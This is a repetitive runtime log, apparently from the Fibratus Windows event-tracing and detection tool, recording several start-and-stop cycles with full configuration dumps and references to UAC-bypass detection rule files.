healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] gzip-compression=>false healthcheck=>true timeout=>5s flush-period=>1s template-name=>fibratus bulk-workers=>1] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] amqp=>[ tls-insecure-skip-verify=>false delivery-mode=>transient url=>amqp://localhost:5672 passive=>false routing-key=>fibratus enabled=>false exchange-type=>topic vhost=>/ durable=>false exchange=>fibratus timeout=>5s] http=>[ method=>POST tls-insecure-skip-verify=>false enabled=>false enable-gzip=>false endpoints=>[] serializer=>json timeout=>5s] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-resources=>false read-sections=>false enabled=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s excluded-files=>[] fastscan=>true skip-files=>false skip-mmaps=>false skip-allocs=>false skip-registry=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-26T18:54:11+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T18:54:11+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T18:54:50+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T18:54:50+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T18:54:51+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T18:55:09+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T18:55:09+01:00 level=info msg=bootstrapping with pid 16640. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T18:55:09+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ content-type=>text/html to=>[] enabled=>false port=>25 use-template=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-images=>false] + eventsource .................... [ enable-audit-api=>true enable-handle=>false enable-thread=>true enable-mem=>false flush-interval=>1s min-buffers=>16 enable-vamap=>true enable-fileio=>true enable-registry=>true buffer-size=>512 stack-enrichment=>true enable-image=>true enable-dns=>false max-buffers=>36 enable-net=>true enable-threadpool=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 max-age=>0 log-stdout=>true formatter=>text level=>info max-size=>100] + output ......................... [ eventlog=>[ level=>info enabled=>false] elasticsearch=>[ gzip-compression=>false template-name=>fibratus index-name=>fibratus healthcheck-interval=>10s timeout=>5s trace-log=>false enabled=>false servers=>[http://127.0.0.1:9200] healthcheck=>true flush-period=>1s sniff=>false healthcheck-timeout=>5s bulk-workers=>1] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] http=>[ enable-gzip=>false timeout=>5s endpoints=>[] enabled=>false serializer=>json method=>POST tls-insecure-skip-verify=>false] amqp=>[ durable=>false enabled=>false url=>amqp://localhost:5672 exchange=>fibratus vhost=>/ passive=>false timeout=>5s routing-key=>fibratus tls-insecure-skip-verify=>false delivery-mode=>transient exchange-type=>topic]] + pe ............................. [ read-sections=>false enabled=>false read-resources=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] enabled=>false skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false scan-timeout=>10s fastscan=>true skip-files=>false excluded-files=>[] skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T18:55:09+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T18:55:11+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T18:57:11+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T18:57:11+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T18:57:11+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T18:57:21+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T18:57:21+01:00 level=info msg=bootstrapping with pid 18136. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T18:57:21+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ to=>[] enabled=>false content-type=>text/html use-template=>true port=>25] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-image=>true enable-net=>true enable-fileio=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-mem=>false enable-handle=>false max-buffers=>36 buffer-size=>512 enable-threadpool=>false enable-audit-api=>true min-buffers=>16 enable-dns=>false enable-vamap=>true stack-enrichment=>true enable-registry=>true flush-interval=>1s enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-age=>0 level=>info log-stdout=>true max-size=>100 max-backups=>15] + output ......................... [ amqp=>[ exchange-type=>topic exchange=>fibratus passive=>false timeout=>5s routing-key=>fibratus url=>amqp://localhost:5672 enabled=>false delivery-mode=>transient vhost=>/ tls-insecure-skip-verify=>false durable=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ enabled=>false level=>info] http=>[ method=>POST enabled=>false enable-gzip=>false timeout=>5s tls-insecure-skip-verify=>false serializer=>json endpoints=>[]] elasticsearch=>[ index-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s trace-log=>false enabled=>false gzip-compression=>false sniff=>false timeout=>5s healthcheck-timeout=>5s template-name=>fibratus bulk-workers=>1 flush-period=>1s healthcheck=>true]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false excluded-procs=>[] skip-registry=>false fastscan=>true skip-allocs=>false scan-timeout=>10s skip-files=>false skip-mmaps=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-26T18:57:21+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T18:57:23+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T19:00:03+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T19:00:03+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T19:00:04+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T19:01:01+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T19:01:01+01:00 level=info msg=bootstrapping with pid 15768. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T19:01:01+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ port=>25 use-template=>true content-type=>text/html enabled=>false to=>[]] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-handles=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ enable-mem=>false buffer-size=>512 enable-image=>true enable-handle=>false enable-threadpool=>false enable-registry=>true flush-interval=>1s enable-dns=>false enable-net=>true max-buffers=>36 min-buffers=>16 enable-fileio=>true enable-audit-api=>true stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-thread=>true enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text log-stdout=>true max-size=>100 level=>info max-backups=>15 max-age=>0] + output ......................... [ http=>[ timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json enabled=>false method=>POST endpoints=>[]] elasticsearch=>[ template-name=>fibratus healthcheck=>true sniff=>false trace-log=>false index-name=>fibratus healthcheck-interval=>10s healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] gzip-compression=>false bulk-workers=>1 flush-period=>1s timeout=>5s enabled=>false] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] amqp=>[ exchange=>fibratus durable=>false vhost=>/ url=>amqp://localhost:5672 delivery-mode=>transient timeout=>5s routing-key=>fibratus enabled=>false passive=>false tls-insecure-skip-verify=>false exchange-type=>topic]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false enabled=>false read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ excluded-procs=>[] excluded-files=>[] enabled=>false skip-allocs=>false skip-registry=>false fastscan=>true skip-files=>false scan-timeout=>10s skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-26T19:01:01+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T19:01:03+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T19:01:20+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T19:01:20+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T19:01:20+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T19:59:16+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T19:59:16+01:00 level=info msg=bootstrapping with pid 17164. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T19:59:16+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ port=>25 content-type=>text/html enabled=>false use-template=>true to=>[]] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-mem=>false enable-vamap=>true enable-fileio=>true enable-thread=>true enable-registry=>true enable-audit-api=>true enable-dns=>false buffer-size=>512 max-buffers=>36 enable-net=>true enable-handle=>false stack-enrichment=>true min-buffers=>16 enable-image=>true flush-interval=>1s enable-threadpool=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text level=>info max-size=>100 log-stdout=>true max-age=>0 max-backups=>15] + output ......................... [ elasticsearch=>[ flush-period=>1s trace-log=>false sniff=>false servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s enabled=>false bulk-workers=>1 template-name=>fibratus timeout=>5s healthcheck=>true index-name=>fibratus gzip-compression=>false healthcheck-timeout=>5s] http=>[ endpoints=>[] tls-insecure-skip-verify=>false enable-gzip=>false enabled=>false serializer=>json method=>POST timeout=>5s] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] amqp=>[ passive=>false exchange=>fibratus vhost=>/ url=>amqp://localhost:5672 enabled=>false timeout=>5s tls-insecure-skip-verify=>false delivery-mode=>transient durable=>false routing-key=>fibratus exchange-type=>topic]] + pe ............................. [ enabled=>false read-symbols=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false scan-timeout=>10s enabled=>false skip-files=>false skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] skip-registry=>false fastscan=>true excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-26T19:59:24+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T19:59:26+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T19:59:42+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T19:59:42+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T19:59:43+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T20:01:56+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T20:01:56+01:00 level=info msg=bootstrapping with pid 4000. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T20:01:56+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ to=>[] use-template=>true enabled=>false content-type=>text/html port=>25] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ enable-vamap=>true enable-mem=>false flush-interval=>1s enable-audit-api=>true enable-threadpool=>false enable-dns=>false enable-registry=>true enable-thread=>true stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 max-buffers=>36 enable-fileio=>true enable-net=>true enable-image=>true enable-handle=>false min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 max-age=>0 max-size=>100 level=>info log-stdout=>true formatter=>text] + output ......................... [ eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] http=>[ timeout=>5s endpoints=>[] enable-gzip=>false serializer=>json method=>POST enabled=>false tls-insecure-skip-verify=>false] amqp=>[ passive=>false timeout=>5s tls-insecure-skip-verify=>false enabled=>false url=>amqp://localhost:5672 routing-key=>fibratus delivery-mode=>transient durable=>false exchange-type=>topic vhost=>/ exchange=>fibratus] elasticsearch=>[ servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s healthcheck-timeout=>5s bulk-workers=>1 enabled=>false healthcheck=>true flush-period=>1s timeout=>5s index-name=>fibratus gzip-compression=>false trace-log=>false template-name=>fibratus sniff=>false]] + pe ............................. [ read-sections=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] fastscan=>true skip-registry=>false scan-timeout=>10s enabled=>false skip-mmaps=>false excluded-procs=>[] skip-allocs=>false skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-26T20:01:57+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T20:01:59+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T20:25:57+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T20:25:57+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T20:25:58+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T20:49:42+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T20:49:42+01:00 level=info msg=bootstrapping with pid 20024. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T20:49:42+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ port=>25 use-template=>true to=>[] content-type=>text/html enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-mem=>false enable-threadpool=>false enable-image=>true enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true enable-vamap=>true enable-audit-api=>true min-buffers=>16 enable-fileio=>true buffer-size=>512 enable-dns=>false stack-enrichment=>true flush-interval=>1s enable-handle=>false enable-thread=>true max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-backups=>15 log-stdout=>true formatter=>text max-age=>0 max-size=>100] + output ......................... [ amqp=>[ url=>amqp://localhost:5672 exchange=>fibratus exchange-type=>topic routing-key=>fibratus tls-insecure-skip-verify=>false enabled=>false timeout=>5s passive=>false durable=>false vhost=>/ delivery-mode=>transient] http=>[ enable-gzip=>false timeout=>5s serializer=>json enabled=>false endpoints=>[] method=>POST tls-insecure-skip-verify=>false] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ trace-log=>false healthcheck=>true sniff=>false index-name=>fibratus healthcheck-timeout=>5s timeout=>5s flush-period=>1s bulk-workers=>1 enabled=>false gzip-compression=>false template-name=>fibratus healthcheck-interval=>10s servers=>[http://127.0.0.1:9200]] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ read-sections=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false scan-timeout=>10s excluded-procs=>[] skip-mmaps=>false skip-registry=>false fastscan=>true skip-files=>false excluded-files=>[] enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T20:49:43+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T20:49:45+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T20:50:41+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T20:50:41+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T20:50:41+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T20:52:27+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T20:52:27+01:00 level=info msg=bootstrapping with pid 15328. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T20:52:27+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ use-template=>true to=>[] content-type=>text/html port=>25 enabled=>false] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false] + eventsource .................... [ flush-interval=>1s enable-image=>true enable-net=>true enable-mem=>false enable-registry=>true enable-dns=>false enable-handle=>false enable-audit-api=>true enable-thread=>true min-buffers=>16 enable-fileio=>true buffer-size=>512 stack-enrichment=>true enable-vamap=>true max-buffers=>36 enable-threadpool=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-backups=>15 max-size=>100 formatter=>text level=>info log-stdout=>true] + output ......................... [ console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] elasticsearch=>[ bulk-workers=>1 healthcheck=>true flush-period=>1s servers=>[http://127.0.0.1:9200] trace-log=>false index-name=>fibratus sniff=>false healthcheck-timeout=>5s template-name=>fibratus enabled=>false gzip-compression=>false healthcheck-interval=>10s timeout=>5s] amqp=>[ url=>amqp://localhost:5672 durable=>false tls-insecure-skip-verify=>false exchange-type=>topic timeout=>5s routing-key=>fibratus exchange=>fibratus enabled=>false vhost=>/ delivery-mode=>transient passive=>false] http=>[ method=>POST timeout=>5s serializer=>json enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false endpoints=>[]] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false fastscan=>true skip-registry=>false enabled=>false skip-allocs=>false skip-mmaps=>false excluded-procs=>[] scan-timeout=>10s excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-26T20:52:27+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T20:52:29+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T20:53:36+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T20:53:36+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T20:53:36+01:00 level=info msg=stopping [NT Kernel Logger] trace processing 